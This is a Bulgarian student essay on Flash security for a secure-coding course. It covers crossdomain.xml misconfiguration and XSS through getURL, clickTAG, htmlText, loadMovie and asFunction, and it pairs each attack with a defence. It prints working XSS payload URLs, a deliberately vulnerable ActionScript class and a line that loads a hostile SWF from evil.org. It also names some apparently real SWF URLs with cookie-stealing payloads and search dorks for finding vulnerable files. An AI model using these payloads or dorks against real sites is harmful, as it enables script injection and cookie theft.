Реферат

по Проектиране и тестиране на сигурен код

Тема: „Flash security”

Боян Георгиев Лазаров
ФКСУ
КСТ
61 група
Фак. № 121207169

Съдържание

Увод

Flash технологията е високо разпространена, повече от 99% от свързаните в Интернет компютри разполагат с инсталиран Flash Player, но за съжаление от Adobe са все още в много ранен стадии на защита на приложенията. От пробив в защитата на Flash Player не се повлиява само Flash приложението, но и самата интернет страница, съдържаща това приложение, така жертва може да стане всеки сайт съдържащ *.swf файл.

По подразбиране защитния модел на Flash се базира на „Same Origin Policy" (http://en.wikipedia.org/wiki/Same_origin_policy), т.е. Flash може да чете отговори само на заявки дадени от същия домайн, в който се намира Flash приложението. Flash поставя също така защита върху HTTP заявките, но функция getURL() на Flash позволява да се направи между домейнова GET заявка. Също така Flash не позволява приложения заредени под HTTP да четат HTTPS отговори.

Flash позволява между домейнова комуникация, ако политиката за безопасност на другия домейн позволява комуникацията с домейна, от където идва заявката. Тази информация се съдържа в XML файла crossdomain.xml, който се намира в главната директория на търсения домейна.

Пример за crossdomain.xml

```
<?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="*" />
</cross-domain-policy>
```

Този пример е най-лошият възможен, защото достъпът до този домейн е възможен от всеки друг домейн. Файлът може да се съдържа на различни адреси и достъпът до тях се извършва със следната функция:

```
System.security.loadPolicyFile("http://www.google.com/crossdomain.xml");
```

Като URL адресът може да се промени ако се търси достъп до поддиректория, например http://www.example.com/sub/crossdomain.xml, в такъв случай ще бъде осигурен достъп на заявки като например http://www.example.com/sub/stuff.html, но не и http://www.example.com/ или http://www.example.com/admin.

Flash и Crossdomain атаки

Flash позволява да се правят заявки към други адреси намиращи се на същия домейн, но за да се достъпи друг домейн, първо той трябва да одобри вашият домейн, чрез crossdomain.xml, който съдържа списък на домейните с позволен достъп до него. Ето пример на тази операция:

Ако имаме Flash базиран mail клиент на адрес http://www.example.com/mail.swf, който иска достъп до базата от данни на http://www.adressbook.com/, трябва вторият адрес да съдържа crossdomain.xml на http://www.adressbook.com/crossdomain.xml, който да изглежда по следния начин:

```
<?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="*" secure="true" />
</cross-domain-policy>
```

Това казва на Flash Player „Не ме интересува къде се намира твоя *.swf файл, чувствай се спокоен да се свържеш с мен" и така, когато http://www.example.com/mail.swf се зареди и направи заявка до http://www.adressbook.com/getmybook Flash Player разпознава, че заявката идва от друг домейн и преди да обработи заявката проверява http://www.adressbook.com/crossdomain.xml дали позволява достъп на този домейн и тъй като връзката е позволена от всички домейни заявката се обработва. Разбира се сървърът има защита и следи дали броузъра разполага с подходящото cookie за ауторизация. Но тези cookies са същите cookies, които използва и сървъра съдържащ *.swf файла и при пробив на защитата, AJAX приложението също се повлиява.

Проблемът идва на яве, когато потребител, който се е ауторизирал правилно разглежда писмата си и попада на линк http://getfreeipad2.com/, на който хакер е сложил *.swf файл, след чието стартиране отваря връзка към http://www.adressbook.com/ и тъй като всички домейни са отворени, и потребителя е ауторизиран правилно позволява на хакерското приложение да извлече цялата информация от базата данни. Това е възможно, защото в Flash *.swf приложения могат да видят съдържанието на всеки URL, който те заредът.

Следователно ключова роля играе как ще бъде написан crossdomain.xml, защото всяко Flash приложение от позволените домейни ще има достъп до информацията, която се съхранява на даден домейн. Тези приложения няма да могат да видят информация като паролата на потребител, но веднъж заредило приложението ще има достъп до вътрешната информация.

Това, което crossdomain.xml не може да гарантира е, че заявките идващи от даден домейн са задължително от желаното приложение намиращо се на този домейн. Това позволява на вражески софтуер непрекъснато да генерира стойности, за които сървърът не е подготвен и да наруши правилната му работа.

Пробив в сигурността може да се получи и при използването на заместващи символи като „*". Например http://data.example.com/crossdomain.xml, позволява достъп на domain="*.example.com" и е гарантирано, че заявки може да идват само от http://www.example.com/app.swf, http://example.com/bar.swf (без www. префикс) или дори http://otherproject.example.com/app.swf. Но ако след време се пусне проект, който има пробив в сигурност и се намира например на адрес

http://uploads.example.com/ и позволява на клиентите да качват файлове, то автоматично тези приложения ще имат пълен достъп до иначе добре защитения първи проект и най-добрата защита в този случай е адресите да са стриктно формулирани.

Друг важен елемент е secure атрибута на <allow-access-from> тага, който приема стойности true и false. Ако той е false за crossdomain.xml достъпван през https, то *.swf файл отворен през http адрес има достъп до https адресите на сървъра. По този начин ако хакер накара потребител да зареди враждебен код и защитата е изключена, то информацията предавана по SSL е също така уязвима. Ако този случай се съчетае с предния, то цялата сигурност ще бъде повалена.
Повече информация http://www.adobe.com/products/flashplayer/security/.

System.security.loadPolicyFile() е ActionScript функцията във Flash приложението, която зарежда какъвто и да е адрес от всеки MIME тип (http://en.wikipedia.org/wiki/MIME) и се опитва да прочете политиката на безопаснот в отговора на HTTP заявката си. Тъй като, местонахождението на crossdomain policy може да бъде всеки URL, политика за безопасност ще бъде валидна за него и всички негови поддиректории. Позволени са да се пряват HTTP пренасочвания до други URLs, ако не искаме crossdomain.xml да се намира в главната ни директория, за щастие ако пренасочванията са към друг домейн – политиката ще е невалидна, но ако е на същия домейн, то политиката ще е за първия URL, т.е.:

Ако си представим, че имаме http://example.com/upl/, който съдържа информация за опасностите от domain="* " и има качен crossdomain policy файл за пример, то

```
loadPolicyFile("http://example.com/exit.php?url=http://example.com/upl/Xdom
ain.xml");
```

exit.php е кратък код, който пренасочва потребителя към изходния линк, което е честа практика, като например Yahoo сървърите, които поддържат подобни пренасочвания със специален формат на URL. Тази заявка е еквивалентна на

```
loadPolicyFile("http://example.com/crossdomain.xml")
```

където crossdomain.xml е:

```
<cross-domain-policy>
 <allow-access-from domain="*" />
</cross-domain-policy>
```

както и следната заявка, ако домейна отговоря на GET заявки:

```
System.security.loadPolicyFile("http://www.example.com/SomeListing?format=j
son&callback=<cross-domain-policy>" +
"<allow-access-from%20domain=\"*\"/></cross-domain-policy>");
```

И хакерът има достъп до целия домейн. При някой броузъри, като Firefox например, има проблем при тези HTTP пренасочвания, в тези случай хакерът може да се възползва от друга пролука да атакува интернет приложения, като тези, които използват dispatch request model:

```
loadPolicyFile("http://exmaple.com/index.php?do=getAvatarImg&user_id=evil")
```

Ако хакер успее да съхрани на сървъра картинка, видео или аудио файл, RSS feed или какъвто и друг файл, който може по някое време да бъде прочетен, то той може да сложи вътре в него crossdomain policy. Например следната RSS новина:

```
<rss version="2.0">
<channel>
  <title>
<cross-domain-policy>
  <allow-access-from domain="*" />
</cross-domain-policy>
  </title>
  <link>x</link>
  <description>x</description>
  <language>en-us</language>
  <pubDate>Tue, 10 Jun 2003 04:00:00 GMT</pubDate>
  <lastBuildDate>Tue, 10 Jun 2003 09:41:01 GMT</lastBuildDate>
  <docs>x</docs>
  <generator>x</generator>
  <item>
    <title>x</title>
    <link>x</link>
    <description>x</description>
    <pubDate>Tue, 03 Jun 2003 09:39:21 GMT</pubDate>
    <guid>x</guid>
  </item>
</channel>
</rss>
```

Дори още по-лошо не е необходимо да е в XML формат, следната GIF картинка съдържа като коментар файла и също е валидна като cross domain policy:

```
00000000 47 49 46 38 39 61 01 01-01 01 e7 e9 20 3c 63 72  GIF89a.......<cr
00000010 6f 73 73 2d 64 6f 6d 61-69 6e 2d 70 6f 6c 69 63  oss-domain-polic
00000020 79 3e 0a 20 20 3c 61 6c-6c 6f 77 2d 61 63 63 65  y>...<allow-acce
00000030 73 73 2d 66 72 6f 6d 20-64 6f 6d 61 69 6e 3d 22  ss-from domain="
00000040 2a 22 2f 3e 20 0a 20 20-3c 2f 63 72 6f 73 73 2d  *"/>....</cross-
00000050 64 6f 6d 61 69 6e 2d 70-6f 6c 69 63 79 3e 47 49  domain-policy>..
```

Реално всеки хакер може да прикачи политиката за безопасност към какъвто и да е валиден тип картинка, аудио или видео фаил. Това е по-лесно с некомпресирани файлове като BMP, но възможно с всички. Единствените ограничения за всеки байт преди затварящият таг </cross-domain-policy> са:

- Да не е 0
- Да няма незатворени XML тагове
- Да бъде в 7 битов ASCII формат

За да се предодвратят подобни атаки е необходимо да се промени начинът, по който Flash Player търси политика за безопасност. Един от следните начини е задължителен:

- Да се заменят символите „<” и „>” с друга тяхна алтернатива като например HTML варианта им &lt и &gt или друг символ като [и]
- Да се започне отговоре с null символ (0x00)
- Да се премахнат символите „<” и „>”
- Да се предаде информацията от друг домейн или IP адрес, където между домейновите атаки нямат ефект
- Да се използват уникални tokens или подобни, така че хакерите да не могат да генерират предсказуеми URL адреси на жертвите си
- Да се отговаря само на POST заявки(но не на GET) за отговори, който могат да бъдат използвани за атака

Flash security parser не прави разлика в MIME типовете, ще се опита да намери security policy в image/gif, text/xml, application/octet-stream, application/x-javascript или който и да е друг MIME тип. За това разработчиците трябва да предвидят и да проверят абсолютно всичко идващо от потребителя като информация, за скрито вградена политика за безопастност. Не е предпоръчително да се прави blacklisting на низове като cross-domain-policy, тъй като е много вероятно blacklisting-а, който генерираме да се различава от Flash security parser и следователно, ще има дупка, през която ще може да преминава нежелания текст.

Flash и getURL атаки

Да вземем следния пример, който се намира на http://example.com/VulnerableMovie.swf:

```
class VulnerableMovie {

  static var app : VulnerableMovie;

  function VulnerableMovie() {
    _root.createTextField("tf",0,100,100,640,480);

    if (_root.userinput1 != null) {
      getURL(_root.userinput1);
    }

    _root.tf.html = true; // default is safely false
     root.tf.htmlText = "Hello " +  root.userinput2;

    if (_root.userinput3 != null ) {
      _root.loadMovie(_root.userinput3);
    }
  }

  static function main(mc) {
    app = new VulnerableMovie();
  }
}
```

Може да приема три стойности от потребителя чрез URL параметри:

```
<object type="application/x-shockwave-flash"
data="http://www.example.com/VulnerableMovie.swf?userinput2=dude"
height="480" width="640">
<param name="movie"
value="http://www.example.com/VulnerableMovie.swf?userinput2=dude">
</object>
```

или чрез flashvars:

```
<object type="application/x-shockwave-flash"
data="http://www.example.com/VulnerableMovie.swf" height="480" width="640">
<param name="movie" value="http://www.example.com/VulnerableMovie.swf">
<param name=”flashvars” value=”userinput2=dude”>
</object>
```

Обикновено тези стойности във Flash се взимат чрез _root обекта:
_root.getURL() – ще зареди дадения URL
_root.tf.htmlText – ще запише като HTML получената стойност в текстово поле
_root.loadMovie – ще зареди Flash файл

И трите варианта са уязвими от към XSS атаки. Да вземем първия вариант, ако заредим файла по следния начин:

```
http://www.example.com/VulnerableMovie.swf?userinput1=javascript%3Aalert%28
1%29
```

Ще се изпълни нежелан javascript код на домейна, където се намира файла, т.е. http://www.example.com/. За да се предпазим е необходимо да се направи whitelist и да се валидира потребителската информация. Първата и най-важна проверка е информацията да започва с http или https:

```
var myUrl = _root.userinput1;
if ( myURL.indexOf("http:") == 0 || myURL.indexOf("https:") == 0)
{
  getURL(myURL);
}
```

Честа практика при Flash разработчиците е да използват javascript при използването на getURL():

```
getURL("javascript:someJsFunctionInThePage(\"" + _root.someUserInput +
"\");");
```

По този начин хакера може да се възползва и отново да направи javascript инжекция като въведе стойност ")alert(1);// , ще се затвори функцията, която очаква информацията и ще се изпълни нежелания код:

```
getURL("javascript:someJsFunctionInThePage(\"" + ")alert(1);// + "\");");
```

За да се предпазим от подобни атаки е необходимо да се използват функциите encodeURI() и decodeURI(), които кодират и декодират URL или подобни на тях.

```
getURL("javascript:someJsFunctionInThePage(\"" +
encodeURI(_root.someUserInput) + "\");");
```

Повече информация за Bypassing JavaScript Filters http://www.cgisecurity.com/lib/flash-xss.htm.

Flash и clickTAG атаки

До тук споменатите проблеми с getURL() изглеждат очевидни и лесно преодолюеми, но това изобщо не е така. Flash има специална променлива наречена clickTAG, чието предназначение е рекламодателите да следят къде се пускат техните реклами. За това и повечето мрези за онлайн реклами изискват рекламата да съдържа clickTAG=URL и да изпълняват getURL(clickTAG). Типичен банер обект в HTML изглежда така:

```
<embed
src="http://www.example.com/SomeAdBanner.swf?clickTAG=http://www.example.com/track?http://example.com">
```

или така:

```
<object type="application/x-shockwave-flash"
  data=" http://www.example.com/SomeAdBanner.swf" width="640" height="480">
<param name="movie" value="http://www.example.com/SomeAdBanner.swf">
<param name=”flashvars” value=”
clickTAG=http://www.example.com/track?http://example.com”>
</object>
```

Ако не се валидира съдържанието на clickTAG, хакер може да инжектира javascript:

```
http://www.example.com/SomeAdBanner.swf?clickTAG=javascript:alert(1)
```

Първата и най-важна валидация е, както при getURL, текста трябва да започва с http

```
if (clickTAG.substr(0,5) == "http:")
{
  getURL(clickTAG);
}
```

Следващия линк е реклама взета от dir.bg:

http://s0.2mdn.net/2941656/ang_wien_BG_20110228_300x250.swf?clickTAG=javascript:alert%28%27XSS%27%29

http://server.cpmstar.com/cached/creatives/1499_728_90_games.swf?clickTAG=javascript:alert('XSS')

Над 2 400 000 уязвими приложения:

http://www.google.com.ua/search?q=filetype%3Aswf+inurl%3AclickTAG

Flash и TextField атаки

Flash са позволили в текстовите полета да се записва HTML, с цел персонализиране на външния вид и добавяне на функционалност. По подразбиране флага, който позволява работа с HTML на текстово поле е false, но честа практика е да не се използва чист текст, а именно HTML. Ако се позволи информация въведена от потребителя да се запише в текстово поле:

```
_root.tf.html = true; // default is safely false
_root.tf.htmlText = "Hello " + _root.userinput2;
```

То хакер може да инжектира не само HTML, но и javascript код:

```
http://www.example.com/VulnerableMovie.swf?userinput2=%3Ca+href%3D%22javasc
ript%3Aalert%281%29%22%3Eclick+here+to+be+hacked%3C/a%3E
```

Тази заявка ще запише в текстовото поле следното нещо:

```
<a href="javascript:alert(1)">click here to be hacked</a>
```

И враждебния код ще се изпълни директно на домейна, където се намира файла. Ако се налага подобна функционалност, най-добрия подход е да се прави whitelist и да се валидира входната информация.

Flash и loadMovie атаки

Всички функции в ActionScript за зареждане на картинка, видео или аудио са уязвими от към XSF (Cross Site Flashing). Това е, да се зареди враждебен Flash файл от чужд домейн и да се стартира на домейна на уязвимото приложение. Този враждебен файл може да предприеме XSS атаки или директно да взаимодейства със заредилото го приложение.

```
if (_root.userinput3 != null )
{
   _root.loadMovie(_root.userinput3);
}
```

В този случай, хакер може да стартира негово приложение от негов домейн (трябва да си добави crossdomain.xml на неговия домейн, за да се достъпи от вън):

```
http://www.example.com/VulnerableMovie.swf?userinput3=http://www.evil.org/Attack.swf
```

За да се избегне този проблем е задължително да се уверим, че зареждаме файлове само от един домейн или адрес или да се прави whitelist валидация и е напълно задължително адреса да не съдържа пренасочване:

```
http://www.example.com/VulnerableMovie.swf?userinput3=http%3A//www.google.com/local_url%3Fq%3Dhttp%3A//www.evil.org/attack.swf
```

Flash и asFunction атаки

Предходните четири атаки се нуждаеха потребителя да щракне, за да се задействат, но с asFunction това дори не е нобходимо. asFunction: е protocol handler в Flash Player подобен на javascript:, т.е. asFunction: позволява директното изпълнение на фунцкия в ActionScript.

```
asFunction:functionName, parameter
```

Зареждането на asFunction:getURL, javascript:alert(1), ще стартира ActionScript функцията getURL, която от своя странта ще зареди в броузъра URL, който в този случай е javascript:alert(1) на домейна където се намира файла. Ако променим примера от TextField атаките и използваме:

```
http://www.example.com/VulnerableMovie.swf?userinput2=pwn3d%3Cimg+src%3D%22
asfunction%3AgetURL%2Cjavascript%3Aalert%281%29//.jpg%22%3E
```

в HTML ще се вмъкне следния таг:

```
<img src="asfunction:getURL,javascript:alert(1)//.jpg">
```

Ще се зареди картинка, която всъшност е враждебен javascript код, който ще се изпълни на страницата. Flash позволява да се зареждат следните формати: JPEG, GIF, PNG и SWF, но това не е никаква гаранция, защото, както е показано, тази защита се прескача със символ за коментар.

Flash и URL параметри

Хакер може да предприеме XSS атака към всички функции, които приемат URL като параметър, чрез asFunction. Ако вземем за пример следния вариант:

```
if (_root.userinput3 != null )
{
    _root.loadMovie(_root.userinput3);
}
```

И хакер инжектира javascript код през asFunction:

```
http://www.example.com/VulnerableMovie.swf?userinput3=asfunction%3AgetURL%2Cjavascript%3Aalert%281%29
```

Същото важи и за всички останали фунции използващи URL като параметър:

- loadVariables()
- loadMovie()
- getURL()
- loadMovie()
- loadMovieNum()
- FScrollPane.loadScrollContent()
- LoadVars.load()
- LoadVars.send()
- LoadVars.sendAndLoad()
- MovieClip.getURL()
- MovieClip.loadMovie()
- NetConnection.connect()
- NetServices.createGatewayConnection()
- NetSteam.play()
- Sound.loadSound()
- XML.load()
- XML.send()
- XML.sendAndLoad()

Не трябва и да се забравят обектите, които имат параметър URL като:

- TextFormat.url
- HTTPService.url

Най-добрия подход е да се проверя и валидира информацията предавана на тези функции:

```
if (userinput.substr(0,5) == "http:")
{

}
```

До 12.2010 в gmail.com се намираше един swf файл, чието единствено приложение беше визуализиране на зареждаща анимация и следната заявка към него беше валидна:

http://gmail.com/.../.../....swf?url=javascript:alert(document.cookie)//

Други примери:

http://banner.kiev.ua/b/128/128832.swf?url=javascript:alert('XSS')

http://www.wie-man-sieht.net/rod_web/_flash/World_CL.swf?url=javascript:alert('XSS')//

http://www.wie-man-sieht.net/rod_web/_flash/World_CL.swf?url=javascript:alert(document.cookie)//

Над 2 600 000 уязвими приложения:

http://www.google.com.ua/search?q=filetype%3Aswf+inurl%3Aurl

Заключение

Разработчиците на Flash ActionScript приложения и както всеки, който позволи такова приложение на сървъра си, трябва да са наясно, че при наличието на уязвимо Flash приложение не само неговата сигурност е застрашена, ами също така сигурността на сайта, на информацията на сървъра, че дори и самия сървър. С това на ум, трябва да се спазват няколко прости правила:

- Винаги да се валидира информация получена от потребителя, независимо как къде идва тя (URL параметри, flashvars и др.)
- Да се използват всички налични системи за сигурност предоставени от разработчиците, като пример:

```
<object
 classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
 codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,2,154,25"
 type="application/x-shockwave-flash"
 data="/MyFlashApp.swf"
 height="640"
 width="480">
<param name="allowScriptAccess" value="never">
<param name="allowNetworking" value="none">
<param name="swliveconnect" value="false">
<param name="movie" value="/MyFlashApp.swf">
</object>
```

- Винаги да се обновяват приложенията до последната си версия (Flash player)
- Винаги да се използват POST заявки и да не се отговаря на GET
- Ако може да се избегне качването на какъвто и да е Flash файл на сайт или сървър
- Ако не може то Flash файловете да се намират на втори домейн

Техники за валидиране на информацията:

- Намаляване до минимум на URL параметрите и flashvar приемани от потребителя във функции зареждащи URL или текстови полета
- Когато се използват такива параметри, задължително трябва да се проверят дали URL започват с http: или https:
- Може да се добави пред параметъра вашия домейн/адрес, така че да се избегнат пренасочвания и да се забрани въвеждането на „ .. „ или техния HTML еквивалент %2e%2e

```
loadMovie("http://www.google.com/noRedirectorsInThisPath/" +
doesNotContainDoubleDots(_root.someRelativeUrl));
```

- Да се кодира информацията преди да се запише в htmlText на TextArea или TextField, като например да се замени < с < и > с >
- Когато се използва потребителска информация в getURL("javascript:someJsFunctionInThePage(\"" + _root.someUserInput + "\");"), задължително кодирайте с encodeURI() или еквивалентна функция

```
getURL("javascript:someJsFunctionInThePage(\"" +
encodeURI(_root.someUserInput) + "\");");
```

Използвана литература:

http://flashflex.com/top-security-threats-to-flashflex-applications-and-how-to-avoid-them-part-1/

http://jeremiahgrossman.blogspot.com/2008/01/new-flash-xss-technique-thousands-of.html

http://www.securitylab.ru/contest/300506.php

http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html

http://websecurity.com.ua/3789/

http://code.google.com/p/doctype/wiki/ArticlesXSS

http://shiflett.org/blog/2006/sep/the-dangers-of-cross-domain-ajax-with-flash

http://blog.guya.net/2008/09/14/encapsulating-csrf-attacks-inside-massively-distributed-flash-movies-real-world-example/

https://docs.google.com/View?docid=ajfxntc4dmsq_14dt57ssdw

http://www.securityspace.com/smysecure/catid.html?id=1.3.6.1.4.1.25623.1.0.900829

http://www.securelist.com/en/advisories/40907